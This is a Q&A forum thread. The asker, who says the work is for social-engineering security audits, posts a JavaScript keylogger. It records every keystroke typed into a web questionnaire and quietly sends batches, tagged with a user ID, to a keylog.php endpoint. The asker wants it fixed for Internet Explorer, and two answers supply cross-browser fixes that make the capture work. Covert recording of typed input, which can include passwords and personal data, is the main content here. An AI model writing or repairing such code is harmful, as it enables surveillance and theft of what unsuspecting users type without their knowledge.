user2439649
user2439649

Reputation: 1

javascript onkeypress/onkeydown does not work in IE

I am scripting this questionnaire for doing IT security social engineering audits. Additionaly to all the form fields I am trying to build a javascript keylogger to get more information on user actions.

So far the keylogger works great in FF but not IE. I have to get working both. Any help/ideas appreciated.

<script>

function sendkeylog (keylog, userID) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "keylog.php?keylog="+keylog+"&userID="+userID, true);
httpRequest.send(null);
}

keylog="";
userID="";

document.onkeypress = function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(event.keyCode=13)) {
var userID = "<?php echo $sID; ?>";
sendkeylog(keylog, userID);
keylog="";
userID="";
}
}

</script> 

Upvotes: 0

Views: 4189

Answers (2)

Teemu
Teemu

Reputation: 23416

(Older) IEs don't support Event.charCode. You can try something like this:

document.onkeypress = function (e) {
    var evt = e || window.event,
        charCode = evt.charCode || evt.keyCode;
    keylog += String.fromCharCode(charCode);
    if ((keylog.length === 5) || (charCode === 13)) {
        ...
}

Also using same variable name (keylog) in caller and callee arguments might cause Out of memory error in IE < 8. More troubles can be expected when using a named function expression...

Upvotes: 1

JF it
JF it

Reputation: 2403

I have noticed this problem before writing jquery plugins - Please try to use

String.fromCharCode(event.which)

instead of keycode.. It works in IE 6 + all other browsers..

Thanks.

Upvotes: 0

Related Questions